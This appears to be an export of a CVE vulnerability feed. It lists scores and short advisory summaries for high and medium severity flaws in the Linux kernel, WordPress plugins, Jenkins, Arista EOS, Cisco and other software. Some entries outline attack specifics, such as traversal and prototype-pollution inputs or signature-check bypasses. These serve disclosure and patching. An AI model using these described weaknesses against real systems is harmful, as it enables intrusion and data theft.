CVE-2026-86003	New	7.5	HIGH				CoreDNS is a DNS server written in Go. Prior to 1.14.7, the DNS-over-HTTPS, DNS-over-HTTP/3, DNS-over-QUIC, and DNS-over-gRPC listeners in plugin/pkg/doh/doh.go, core/dnsserver/server_quic.go, and core/dnsserver/server_grpc.go call dns.Msg.Unpack without the dns.DefaultMsgAcceptFunc request policy used by UDP, TCP, and DNS-over-TLS. An unauthenticated client can send an RFC ...
CVE-2026-86043	New	7.5	HIGH				Skipper is an HTTP router and reverse proxy for service composition. Prior to version 0.27.37, the opaAuthorizeRequestWithBody filter can authorize an oversized request after Skipper truncates the body presented to Open Policy Agent because the input.truncated_body signal is derived from Content-Length rather than the actual read result. In filters/openpolicyagent/openpolicy...
CVE-2026-86108	New	7.5	HIGH		0.008		Insufficient validation of inputs supplied through affected VeloCloud Edge management and configuration workflows may allow an authorized management request or configuration value to be interpreted as an operating-system command. Successful exploitation may allow command execution with elevated privileges on the affected VeloCloud Edge.
CVE-2026-86109	New	7.5	HIGH		0.002		The VeloCloud Edge software update workflow may accept update bundles without properly validating their signatures because the workflow does not restrict the digest algorithm used for artifact verification. An attacker with either sufficient privileges to upload packages to VeloCloud Orchestrator or credentials permitting direct access to an Edge may be able to install unaut...
CVE-2026-89063	New	7.5	HIGH		0.004		The Online Scheduling and Appointment Booking System – Bookly plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 28.1 via the 'conversation_id' parameter due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to read the full AI booking conversation transcript of any c...
CVE-2026-89863	New	7.5	HIGH				In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: edif: Fix NULL pointer deref in RX SA delete check qla_chk_edif_rx_sa_delete_pending() obtains the SCSI command via GET_CMD_SP(sp) and immediately dereferences cmd->sc_data_direction. That command pointer can be NULL: the firmware may post a status completion for a command that has already b...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89897	New	7.5	HIGH				In the Linux kernel, the following vulnerability has been resolved: media: cec: Serialize exclusive follower delivery cec_receive_notify() reads the exclusive follower pointer without the adapter lock. Serialize the no-follower check and message delivery against mode changes and release.
CVE-2026-89968	New	7.5	HIGH				In the Linux kernel, the following vulnerability has been resolved: nvmet-tcp: reject unsolicited H2CData PDUs nvmet_tcp_handle_h2c_data_pdu() accepts an H2CData PDU after only checking that its TTAG is a valid in-range command index and that the command's data buffers are mapped. It never checks that the target has actually solicited that data by sending an R2T for the co...
CVE-2026-89971	New	7.5	HIGH				In the Linux kernel, the following vulnerability has been resolved: nvme: skip the zoned limits update if the zone info query failed nvme_query_zone_info() returns either a negative errno or a positive NVMe status code, but nvme_update_ns_info_block() only tests for the negative case: ret = nvme_query_zone_info(ns, lba, &zi); if (ret < 0) goto out; If the device fai...
CVE-2026-89974	New	7.5	HIGH				In the Linux kernel, the following vulnerability has been resolved: nvme-fc: fix double free of fabrics options when nvme_add_ctrl() fails nvme_create_ctrl() owns the fabrics options and frees them whenever ->create_ctrl() returns an error, so a transport must not free them on its own error paths. nvme-fc tracks this by testing ctrl->ctrl.opts in nvme_fc_ctrl_free(), whic...
CVE-2026-92128	New	7.5	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier downloads a JAR file specified by URL twice, confirming the approval of the first download and loading the classpath entries from the second, allowing attackers able to define classpath entries to execute arbitrary code in the context of the Jenkins controller JVM.
CVE-2026-92129	New	7.5	HIGH				Jenkins Script Security Plugin 1415.v9a_f9b_3a_c253d and earlier does not check calls from sandboxed scripts to methods added dynamically to a class at runtime, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to bypass the sandbox protection and execute code outside the sandbox.
CVE-2026-92594	New	7.5	HIGH				Craft CMS 5.0.0-RC1 through versions before 5.11.0 incorrectly authorize the GraphQL draftCreator and revisionCreator fields: instead of requiring the user-data scope enforced by Gql::canQueryUsers() (usergroups.*:read), these fields are gated only on the elements.drafts:read / elements.revisions:read scopes, and their resolver returns a raw User element whose email, usernam...
CVE-2026-92599	New	7.5	HIGH				joi (npm package `joi`, hapi.js) versions >=17.2.0 <17.13.7 and >=18.0.0 <18.2.6 are vulnerable to regular expression denial of service in the `Joi.string().isoDate()` validation rule. One of the regular expressions the rule applies to the input is unanchored, so a valid ISO date followed by a long run of fractional-second digits causes the regex engine to restart its search...
CVE-2026-92625	New	7.5	HIGH				Control iD iD Secure versions prior to 4.8.3.0 are affected by an unauthenticated Denial of Service. The /api/license/restartService endpoint is reachable without authentication and invokes an internal routine that terminates the iD Secure service process and relaunches it by way of a generated batch script. An unauthenticated remote attacker can call this endpoint repeatedl...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92626	New	7.5	HIGH				Control iD iDSecure versions prior to 4.8.3.0 are affected by an unauthenticated Denial of Service. The /api/dguardintegration/dguardVersion endpoint dereferences DGuard integration login state that may be unset, raising an unhandled null reference exception. The exception is thrown from an asynchronous method that returns void, so it is not observed by a caller and can te...
CVE-2026-92719	New	7.5	HIGH				Quickwit through 0.9.0 fails to validate the host and scheme of the queue_url parameter in SQS file sources, allowing attackers to make the node issue requests to arbitrary internal addresses. Attackers can supply a malicious queue_url to the create-source API to scan internal networks and fingerprint services based on connection response differences.
CVE-2026-92791	New	7.5	HIGH				Uber Kraken through 0.1.29 fails to validate the tag parameter in the /tags/{tag} endpoint, allowing unauthenticated attackers to traverse outside the configured storage root. Attackers can use percent-encoded parent-directory segments in the tag parameter to read arbitrary files accessible to the testfs backend process.
CVE-2026-92792	New	7.5	HIGH				OpenNHP through 1.0.2 selects its trusted-execution attestation verifier based on attacker-supplied evidence containing a test_purpose key, causing the FallbackVerifier to execute unconditionally. Attackers can bypass attestation verification by including the test_purpose key in evidence and providing enrolled measure and serial number pairs from the allowlist to gain unauth...
CVE-2026-20222	New	7.4	HIGH				A vulnerability in the EIGRP implementation in Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, adjacent attacker to cause the device to reload unexpectedly, resulting in a denial of service (DoS) condition. This vulnerability is due to improper resource management when...
CVE-2026-42784	New	7.4	HIGH				A flaw was found in sequoia-openpgp. The library incorrectly infers key flags for older certificates when a key flags subpacket is missing, leading to a discrepancy in how key capabilities are viewed. This key flag confusion allows an attacker to bypass the back-signature check. Consequently, an attacker can illegitimately bind an arbitrary subkey to their own certificate an...
CVE-2026-61590	New	7.4	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, djust's observability endpoints expose live view/session state and a remote method-invocation surface (`eval_handler`). The localhost restriction was an opt-in middleware that the documented setup omits; the views themselves enforced only `DE...
CVE-2026-61592	New	7.4	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, SSE sessions were keyed solely by a client-chosen `session_id` with no binding to the authenticated user — a control the WebSocket transport has but that was dropped on SSE. An attacker who learns (or a victim who leaks) a `session_id` could ...
CVE-2026-71179	New	7.3	HIGH				Dell Update Package Framework, versions prior to 26.07.03, contains an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85386	New	7.3	HIGH				Concrete CMS before 9.5.4 did not sanitize XML and XSLT documents uploaded through a public Form Block file-upload question. Plain XML uploads were validated by file extension only and stored as publicly accessible files that were served inline from the application's own origin. An unauthenticated visitor could therefore store an XML document containing an xml-stylesheet pro...
CVE-2026-89910	New	7.3	HIGH				In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Fix uninitialized stack variable issue with dmsintc Variable vector[] is declared on stack in function dmsintc_inject_irq() and sometimes it is used without initialized. Here fix this issue.
CVE-2026-92399	New	7.3	HIGH				A vulnerability was determined in GPAC 26.07.0. This affects the function rmt_client_handle_ws_frame of the file src/utlis/rmt_ws.c of the component WebSocket Handler. Executing a manipulation of the argument payload_size can lead to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. Upgradin...
CVE-2026-92406	New	7.3	HIGH				A vulnerability was detected in SourceCodester Inventory and Monitoring System 1.0. The impacted element is an unknown function of the file /admins/assessments/databank/btn_functions.php?action=add. Performing a manipulation of the argument difficulty_id results in sql injection. Remote exploitation of the attack is possible. The exploit is now public and may be used.
CVE-2026-92718	New	7.3	HIGH				Nuclei versions before 3.11.1 cache template signature verification based only on file modification time without content checksums. Attackers can replace verified templates with unsigned malicious content and restore the original modification time to bypass signature checks and execute arbitrary operating system commands.
CVE-2026-17526	New	7.2	HIGH				Keycloak is an open-source identity and access management solution. A vulnerability was discovered where a user with the impersonation role can impersonate a realm administrator. This allows the attacker to gain full administrative control over the realm, including the ability to manage users, clients, and roles.
CVE-2026-18595	New	7.2	HIGH		0.003		The WP-Lister Lite for eBay plugin for WordPress is vulnerable to Stored Cross-Site Scripting via AJAX Cron Handler Request Parameter in all versions up to, and including, 3.8.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an...
CVE-2026-27560	New	7.2	HIGH		0.022		A high-privileged remote attacker can exploit a command injection vulnerability in the /api/status/data endpoint by sending a crafted DELETE request with admin credentials allowing execution of commands with root privileges on the device.
CVE-2026-27561	New	7.2	HIGH		0.022		A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device.
CVE-2026-27562	New	7.2	HIGH		0.022		A high-privileged remote attacker can exploit a command injection vulnerability in the /api/iodd/config endpoint by sending a crafted PUT request with admin credentials allowing execution of commands with root privileges on the device.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-27563	New	7.2	HIGH		0.02		A high-privileged remote attacker can exploit a command injection vulnerability in the /api/datastorage/data endpoint by sending a crafted GET request with admin credentials allowing execution of commands with root privileges on the device.
CVE-2026-27564	New	7.2	HIGH		0.02		A high-privileged remote attacker can exploit a command injection vulnerability in the /api/datastorage/data endpoint by sending a PUT request with admin credentials allowing execution of commands with root privileges on the device.
CVE-2026-76424	New	7.2	HIGH				A vulnerability in the REST API of Cisco ISE could allow an authenticated, remote attacker to upload or copy arbitrary files on an affected device. This vulnerability is due to insufficient validation in file operations. An attacker could exploit this vulnerability by uploading a file with a crafted path. A successful exploit could allow the attacker to upload files to ar...
CVE-2026-76550	New	7.2	HIGH		0.003		The WP Import Export Lite WordPress plugin before 3.9.34 does not validate a user-supplied output path when writing export files, allowing users granted its export permission to write files with arbitrary names to arbitrary locations on the server, leading to remote code execution.
CVE-2026-76551	New	7.2	HIGH		0.003		The WP Import Export Lite WordPress plugin before 3.9.33 does not restrict which PHP function may be applied to exported field values, allowing users granted its export permission to have arbitrary functions invoked on values they control, leading to remote code execution.
CVE-2026-82310	New	7.2	HIGH		0.003		Apache Airflow FAB provider: deactivating a user account does not stop tokens issued to that account before deactivation. Password authentication correctly rejects the disabled account, but the Core API continues to accept an existing, unexpired token naming it, and lets that token mint a replacement — so the account keeps its role-scoped access indefinitely after an adminis...
CVE-2026-85569	New	7.2	HIGH		0.002		The Tutor LMS WordPress plugin before 4.0.8 does not correctly determine whether an incoming request is addressed to its own REST API, and does not enforce the permission recorded against an API credential, allowing the holder of a read-only key to act as the administrator account that issued it.
CVE-2026-86865	New	7.2	HIGH				Tanium addressed a SQL injection vulnerability in Asset.
CVE-2026-87024	New	7.2	HIGH				Tanium addressed a SQL injection vulnerability in Asset.
CVE-2026-87976	New	7.2	HIGH				Apache NiFi Registry 0.4.0 through 2.11.0 are subject to path manipulation when storing extension bundle content using group, artifact, and version coordinates from uploaded NAR manifests. The default file persistence provider used coordinates as filesystem path components without rejected parent-directory names, and the path-containment check compared an unnormalized resolv...
CVE-2026-92469	New	7.2	HIGH				zlt2000 microservices-platform through 6.0.0 contains an authorization bypass vulnerability in the file-center module DELETE /files/{id} endpoint that performs no ownership validation. Authenticated attackers can enumerate file identifiers via GET /files and delete arbitrary users' files and metadata by supplying their identifiers to the delete endpoint.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92751	New	7.2	HIGH				CMAK through 3.0.0.6 fails to install a cross-site request forgery filter, allowing attackers to perform state-changing actions on behalf of authenticated operators. Attackers can craft hidden forms that submit to destructive endpoints like topic deletion and cluster configuration changes, leveraging the operator's HTTP Basic authentication credentials or play-basic-authenti...
CVE-2026-92779	New	7.2	HIGH				Builder.io Gen2 SDKs through versions 5.2.11 and 0.25.13 contain a prototype pollution vulnerability in the deep-set helper function that processes content block bindings without validation. Attackers can craft content blocks with binding keys containing __proto__, prototype, or constructor paths to pollute Object.prototype during rendering, affecting all subsequent objects ...
CVE-2026-92783	New	7.2	HIGH				Yeti through 2.11.0 fails to validate caller permissions in the DELETE /api/v2/rbac/{id} endpoint, allowing users with read access to delete access control relationships. Attackers can revoke the owner's grant and permanently lock legitimate owners out of objects.
CVE-2026-92806	New	7.2	HIGH				phpList versions before 3.6.17 fail to validate cross-site request forgery tokens in the mass subscriber removal form handler. Attackers can induce logged-in administrators to visit crafted pages that silently delete and blacklist arbitrary subscriber addresses without authentication verification.
CVE-2026-19248	New	7.1	HIGH		0.004		QDomDocument XML parsing is vulnerable to a remotely-triggerable denial-of-service crash when processing untrusted input.
CVE-2026-20300	New	7.1	HIGH				A vulnerability in Cisco ISE could allow an authenticated, remote attacker to conduct SQL injection attacks on an affected device. To exploit this vulnerability, the attacker must have at least low-privileged administrative credentials. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafte...
CVE-2026-40856	New	7.1	HIGH				WNC T-Mobile 5G Box IDU router is vulnerable to improper access control. The vulnerability exists in the wnc_maccheck.cgi endpoint, which is accessible without authentication. It allows a remote attacker to retrieve sensitive configuration data, including the administrator web password, WiFi passphrase, and technical device information. This issue has been fixed in firmware v...
CVE-2026-61596	New	7.1	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, djst's per-object authorization ('get_object' + 'has_object_permission', ADR-017) was enforced on the WebSocket mount and event paths but not on three other render entry points: (a) the initial HTTP GET render, (b) SPA 'url_change' navigatio...
CVE-2026-61598	New	7.1	HIGH			pip:djust	djust provides Phoenix LiveView-style reactive server-side rendering for Django with Rust-powered performance. Prior to version 1.0.7, 'djust.mixins.model_binding.ModelBindingMixin' provides a default 'update_model' event handler and is part of the LiveView base MRO, so every LiveView exposes it. It 'setattr's a view attribute whose name is client-supplied ('field'), gated o...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73175	New	7.1	HIGH				Nozomi Networks Labs identified a CWE-400: Uncontrolled Resource Consumption vulnerability in the OPC UA gateway component of Advantech EKI-1242EIMS in firmware version V1.06.01 that allows an adjacent unauthenticated attacker to exhaust the server session pool and cause a complete denial of service to all legitimate OPC UA clients by opening multiple anonymous sessions.
CVE-2026-73462	New	7.1	HIGH				On affected platforms running Arista EOS with IGMP (Internet Group Management Protocol) snooping configured (enabled by default on all VLANs), a network-adjacent unauthenticated attacker can send malformed network packets on an affected VLAN to cause the IGMP snooping agent to terminate unexpectedly. This results in a temporary disruption of multicast traffic management, whi...
CVE-2026-73468	New	7.1	HIGH		0.003		A specially crafted packet can cause the premature expiry of multicast forwarding state on affected interfaces, potentially resulting in temporary multicast traffic loss during the affected period.
CVE-2026-74926	New	7.1	HIGH		0.002		The MultiVendorX WordPress plugin before 5.0.16 does not verify that a user owns the store they are acting on in one of its REST API routes, allowing any authenticated user, such as a subscriber, to overwrite any store's details and payout settings and to replace the record of who owns it.
CVE-2026-86444	New	7.1	HIGH		0.002		The LearnPress WordPress plugin before 4.4.7 does not escape a user supplied value before using it in an HTML attribute on a public page, allowing unauthenticated attackers to execute arbitrary JavaScript in the browser of anyone who opens a crafted link, including a logged in administrator. Only sites running a classic, non-block are affected.
CVE-2026-89792	New	7.1	HIGH		0.002		In the Linux kernel, the following vulnerability has been resolved: ksmbd: prevent out-of-bounds reads in share config responses Validate IPC share configuration payload sizes before consuming variable-length fields. Bound veto list parsing and account for the separator byte when deriving the path length.
CVE-2026-89818	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu/vcn: fix integer overflow in dec_msg buffer count check If the supplied msg[2] (num_buffers) is 0x3FFFFFFF, the expression 6 + num_buffers * 4 wraps to 2 and the bounds check passes, letting the parser loop far past the end of the message BO. Triggering it additionally requires a ~4GiB mapping s...
CVE-2026-89826	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: drm/panthor: harden firmware build-info bounds checks panthor_fw_read_build_info() checks whether the metadata range fits in the firmware image with hdr.meta_start + hdr.meta_size. Both fields are u32, so the addition can wrap and let an out-of-bounds range pass validation. The function also reads the "gi...
CVE-2026-89838	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: f2fs: limit recovery filename logging to stored length F2FS stores recovery filenames as a length plus a fixed-size i_name buffer. The buffer is not NUL-terminated, but recover_inode() and recover_dentry() print it with %s. For a 255-byte filename, recovery logging can read past i_name into the following...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89840	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: f2fs: validate MOVE_RANGE destination size F2FS_IOC_MOVE_RANGE checks the source range, but not the destination end before updating i_size. A source hole can expose this: __clone_blkaddrs() skips NULL_ADDR entries and returns success, so the caller can still extend the destination inode with unchecked pos_...
CVE-2026-89912	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: vgic-its: Don't dereference a NULL collection on ITT save MAPC with V=0 drops ite->collection but leaves the ITE on the device's ITT list, and vgic_its_save_ite() dereferences it unconditionally. A guest that issues MAPD, MAPTI and then MAPC(V=0) therefore oopses the host when the VMM issues KV...
CVE-2026-89927	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: KVM: x86: hyper-v: Clamp stimer deadline to avoid livelock Fix an issue where userspace or the guest can program an Hyper-V synthetic timer to have a deadline in the past via integer overflow, preventing the CPU from making progress and triggering an RCU stall. Hyper-V's SynIC exposes 4 per-vCPU synthetic...
CVE-2026-90016	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read in rtw_restruct_wmm_ie() rtw_restruct_wmm_ie() scans in_ie for a WMM IE with: while (i < in_len) { ... if (i + 5 < in_len && in_ie[i] == 0xDD && ...) { ... break; } i += (in_ie[i + 1] + 2); /* to the next IE element */ } When the "i + 5 < in_len" match che...
CVE-2026-90017	New	7.1	HIGH				In the Linux kernel, the following vulnerability has been resolved: staging: rtl8723bs: fix OOB read in rtw_action_frame_parse() rtw_action_frame_parse() takes a frame_len parameter but never actually checks it before indexing into the frame body: const u8 *frame_body = frame + sizeof(struct ieee80211_hdr_3addr); ... c = frame_body[0]; ... a = frame_body[1]; frame_b...
CVE-2026-92299	New	7.1	HIGH		0.003		@jitsi/electron-sdk before 10.0.5 exposes getDesktopSources() via contextBridge without requiring an active getDisplayMedia() picker, allowing any script in the meeting page to enumerate screens and windows. Attackers can call the jitsi-screen-sharing-get-sources IPC route to retrieve desktop thumbnails at arbitrary resolution without user consent or operating system permis...
CVE-2026-92456	New	7.1	HIGH				yshop-crm through 2.1.3 fails to enforce authorization on the saveRedisSet and getRedisSet endpoints in CrmCustomerController, allowing any authenticated back-office user to read and modify installation-wide lead-allocation and customer auto-recycling policy. Attackers can invoke these endpoints to manipulate shared Redis keys controlling customer auto-recycling behavior, ca...
CVE-2026-92459	New	7.1	HIGH				yshop-crm through 2.1.3 contains a missing authorization vulnerability in the CrmCluesController receiveCustomer endpoint that allows authenticated back-office users to claim sales leads without proper permission checks. Attackers can invoke the lead-claim endpoint to reassign leads from other employees to themselves by overwriting the ownerUserId field, with no access loggi...
CVE-2026-92460	New	7.1	HIGH				yshop-crm through 2.1.3 fails to enforce authorization on the GET /admin-api/crm/operatelog/page endpoint, allowing any authenticated back-office user to access the installation-wide audit trail. Attackers can query the operation log to retrieve operator names, display nicknames, client IP addresses, User-Agent strings, request URLs, action details, and customer identifiers ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92567	New	7.1	HIGH				TDuck survey form through version 5.0 contains an authorization bypass vulnerability in the POST /user/form/data/update endpoint that allows authenticated users to overwrite other users' form submission data. Attackers can discover submission identifiers allocated in narrow ranges and modify arbitrary form responses containing personal data by sending update requests without...
CVE-2026-92582	New	7.1	HIGH				AVideo (WWBN/AVideo) through 29.0 (commit e01e41ecc) is vulnerable to cross-site request forgery. objects/videoAddNew.json.php disables AVideo's automatic CSRF guard (\$global['skipAutoCSRFCheck']) and the untrusted-request check (\$global['bypassSameDomainCheck']) merely because 'user' and 'pass' parameters are present in the request; the values are never validated and are re...
CVE-2026-92600	New	7.1	HIGH				Guns through 8.3.5 contains an information disclosure vulnerability in SysUserController where /sysUser/detail and /sysUser/page endpoints omit requiredPermission configuration, causing the permission interceptor to skip RBAC validation for authenticated users. Attackers with any valid login token can retrieve sensitive user information including account names, real names, e...
CVE-2026-92601	New	7.1	HIGH				Guns through 8.3.5 contains an improper access control vulnerability in SysNoticeController where requiredPermission defaults to false and is not overridden by any action methods. Authenticated users without assigned roles can exploit this to create, edit, delete, publish and retract system-wide notices affecting arbitrary users and departments.
CVE-2026-92602	New	7.1	HIGH				TDuck survey form through version 5.3 fails to validate webhook URLs or verify form ownership in the WebhookConfigController. Authenticated attackers can attach webhooks to other users' forms and exfiltrate submissions to arbitrary external or internal addresses.
CVE-2026-92605	New	7.1	HIGH				IRIS through 2.4.29 fails to properly validate case authorization in comment listing endpoints for notes, tasks, IOCs, assets, and evidence items. Attackers with access to any single case can enumerate sequential object identifiers and read comment threads from cases they have no authorization to access.
CVE-2026-92750	New	7.1	HIGH				Harness through 3.3.0 omits access control validation in the infrastructure provider read endpoint, allowing authenticated users to retrieve provider configurations from spaces they do not belong to. Attackers can query the GET /api/v1/infraproviders endpoint with arbitrary space identifiers to expose sensitive provider metadata including Docker endpoints, TLS certificate pa...
CVE-2026-92753	New	7.1	HIGH				PatrolManager through 1.8.4 contains an authorization bypass vulnerability in the events and alerts API endpoints that lack ownership filtering. Authenticated attackers can read platform event history, delete arbitrary events, and modify alerts belonging to other users.
CVE-2026-92759	New	7.1	HIGH				SecObserve versions before 1.59.1 contain an information disclosure vulnerability in the ApiConfigurationSerializer that fails to strip the basic_auth_password field from API configuration responses. View-only product members can retrieve the decrypted basic-auth password of configured scanner or integration service accounts through standard REST endpoints.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92760	New	7.1	HIGH				Shlink through 5.1.6 fails to enforce API key role restrictions when issuing Mercure subscription tokens, allowing restricted keys to subscribe to all topics. Attackers with author-only or domain-only keys can access the mercure-info endpoint to receive visit data including referrer, user agent, geolocation, and full short URL objects for URLs outside their authorization bou...
CVE-2026-92765	New	7.1	HIGH				ArcherySec through 2.0.6 fails to validate organization ownership in the WebScanVulnList endpoint, allowing authenticated users to read vulnerability findings from other organizations. Attackers can supply arbitrary scan identifiers to retrieve complete web vulnerability data including titles, severities, statuses, and analyst notes from other tenants.
CVE-2026-92772	New	7.1	HIGH				Leantime before 3.9.6 contains an authorization bypass vulnerability in the HTMX plugin install endpoint that lacks permission validation. Authenticated users with limited roles can install marketplace plugins and control arbitrary properties including identifier, version, and license key to deploy malicious plugins.
CVE-2026-92773	New	7.1	HIGH				Trigger.dev before 4.6.0 fails to verify that an authenticated user controls a GitHub App installation before binding it to their organization. Attackers can claim another user's GitHub App installation by replaying state cookies and supplying sequential installation identifiers, gaining unauthorized access to the victim's repositories.
CVE-2026-92789	New	7.1	HIGH				Graylog through 7.1.4 validates outbound URLs against an allowlist before making requests but fails to re-validate after following HTTP redirects. Attackers with lookup table or event notification permissions can craft allowlisted endpoints that redirect to internal services, enabling the server to fetch and return internal responses.
CVE-2026-92795	New	7.1	HIGH				Coze Studio through 0.5.1 fails to restrict the server URL supplied when registering plugin tools, allowing authenticated users to make the backend fetch internal services. Attackers can construct plugin requests to access cloud metadata endpoints and internal services reachable only from the backend network, reading responses containing sensitive information.
CVE-2026-92804	New	7.1	HIGH				Nango through 0.70.4 fails to validate caller-supplied connection configuration values interpolated into provider token and proxy URL templates. Authenticated attackers can supply malicious configuration values to direct server requests at internal addresses or cloud metadata endpoints, potentially exfiltrating provider credentials.
CVE-2026-68904	New	7.0	HIGH			npm:node-opcua, npm:node-opcua-client, npm:node-opcua-transport	node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.0.0 until 2.170.0, node-opcua clients using the default keepSessionAlive setting can enter a repeated reconnection cycle when an OPC UA server's clock skew causes BadInvalidTimestamp responses. ClientSessionKeepAliveManager._ping_server treated the server-originated ServiceFault as a network outage and...
CVE-2026-73435	New	7.0	HIGH		0.002		On affected platforms running Arista EOS with Open Shortest Path First version 2 (OSPFv2) configured, a specially crafted OSPFv2 packet from an unauthenticated attacker on the same broadcast segment, with OSPFv2 authentication configured can cause adjacency flapping and packet loss. The disruption can affect routing across the broader OSPF domain.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73438	New	7.0	HIGH		0.002		On affected platforms running Arista EOS with Open Shortest Path First version 3 (OSPFv3) configured, an unauthenticated attacker on the same OSPFv3 broadcast domain can send a specially crafted set of packets that can cause the Ospf3 agent to restart unexpectedly. The crash results in the loss of all OSPFv3 adjacencies on the affected device and may disrupt routing across t...
CVE-2026-73446	New	7.0	HIGH		0.002		On affected platforms running Arista EOS with IS-IS configured on a broadcast interface, an unauthenticated attacker can send a crafted IS-IS Hello Protocol Data Unit (PDU) that causes the device to tear down an established IS-IS adjacency. This may result in traffic disruption and loss of IP reachability for prefixes advertised through that adjacency.
CVE-2026-73450	New	7.0	HIGH		0.001		On affected platforms running Arista EOS with MLAG Dual Primary Detection configured, an unauthenticated attacker with access to the Dual Primary Detection network segment can send specially crafted packets to interfere with the dual-primary state. If the MLAG primary switch fails while these packets are present, the secondary switch incorrectly concludes it is in a dual-pri...
CVE-2026-73459	New	7.0	HIGH		0.002		On affected platforms running Arista EOS with IS-IS configured, an unauthenticated attacker who can inject a specially crafted IS-IS LSP PDU can cause the legitimate LSP to be unexpectedly purged from the IS-IS link-state database. This may result in traffic loss.
CVE-2026-73460	New	7.0	HIGH		0.002		On affected platforms running Arista EOS with IS-IS graceful restart enabled, an unauthenticated attacker who can inject a malformed IS-IS LSP PDU packet can cause the IS-IS graceful restart procedure to terminate prematurely. This may result in traffic loss following a restart event.
CVE-2026-77407	New	7.0	HIGH				RabbitMQ amqp091-go is a Go AMQP 0.9.1 client. Prior to 1.13.0, PlainAuth values defined in auth.go retain passwords as exported plaintext fields in Connection.Config.SASL after a successful PLAIN authentication handshake. The Connection.openComplete method in connection.go does not clear those values. Code with access to the Connection object, including reflective loggers, ...
CVE-2026-85628	New	7.0	HIGH		0.001		Transmission of the home Wi-Fi credentials without encryption during the pairing process between the DuoxMe application and VEO and VEO-XS Wi-Fi monitors, in versions prior to 4.3.4 of the application and 01.50.001 of the monitor firmware, allows an attacker on the Wi-Fi Direct network to intercept the network password.
CVE-2026-91097	New	7.0	HIGH				HP has identified and remediated multiple externally reported vulnerabilities within HPLIP. The findings affect several software components that could potentially enable remote code execution, privilege escalation, denial of service, information disclosure, or unauthorized file modification under certain conditions.
CVE-2026-73445	New	6.9	MEDI		0.003		On affected platforms running Arista EOS, an issue with the gRPC Network Security Interface (gNSI) Authz Rotate RPC may cause an incorrect Authz policy which was uploaded in the ongoing RPC stream to become active. This does not affect Bootz. This issue was discovered internally by Arista and the company is not aware of any malicious uses of this issue in customer networks.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73469	New	6.9	MEDI		0.003		When specific platforms are using Arista EOS with a loose Unicast Reverse Path Forwarding (uRPF) configuration, certain traffic may not be subjected to the intended verification drop. Consequently, traffic that should be dropped based on these routes could still be processed and forwarded by the device. This issue was discovered internally by Arista and the company is not a...
CVE-2026-86443	New	6.9	MEDI		0.001		Cleartext storage of sensitive information in the DuoxMe application for Android, in versions prior to 4.3.4, allows an attacker with local access to the device to retrieve the credentials stored by the application and impersonate the user account.
CVE-2026-89207	New	6.9	MEDI		0.003		A vulnerability has been identified in WTV676-HB6035 Web Interface (All versions < V3.94), WTV776-HB6035 Web Interface (All versions < V4.17). Affected devices do not properly validate input received from backend services. This could allow an unauthenticated remote attacker to force the device into protection mode, which results in losing remote connectivity functions (Web ...
CVE-2026-92215	New	6.9	MEDI		0.004		A vulnerability has been found in a2ui-project a2ui up to 0.10.7. Affected by this vulnerability is the function httpx.get of the file agent_sdks/python/a2ui_agent/src/a2ui/extensions/file_resolve/file_resolver.py of the component FileResolver. The manipulation leads to server-side request forgery. It is possible to initiate the attack remotely. The identifier of the patch i...
CVE-2026-92220	New	6.9	MEDI		0.005		A vulnerability was found in vllm-project vLLM 0.26.0/0.27.0. Affected is the function MoRIIOConnectorScheduler.request_finished/MoRIIOConnectorWorker.get_finished/MoRIIOWrapper._handle_release_message of the file vllm/distributed/kv_transfer/kv_connector/v1/morio/morio_connector.py of the component MoRIIO Acknowledgement Handler. Performing a manipulation of the argument ...
